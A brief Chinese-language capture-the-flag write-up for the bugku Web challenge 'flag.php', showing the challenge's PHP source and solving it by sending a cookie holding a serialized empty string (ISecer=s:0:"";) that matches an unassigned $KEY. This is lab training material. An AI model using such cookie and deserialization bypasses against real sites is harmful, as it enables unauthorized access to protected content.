bugku-Web flag.php
阿新 • • 發佈:2018-12-17
開啟網頁發現並沒有什麼,試了很多次沒用。
其實題目中提示了hint,我們就傳遞一個hint=1試試,發現出現了程式碼:
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
意思就是如果cookie的反序列化值等於$KEY,就給你flag。
不要看最下面的$KEY的值,因為上面根本沒有對$KEY賦值,所以上面$KEY的值為空,我們就寫個程式碼得到空值的序列化值,再傳上去讓他反序列化下就行了
<?php
$KEY="";
print(serialize($KEY));
?>
得到s:0:"";
於是傳遞cookie為ISecer=s:0:"";就拿到flag了。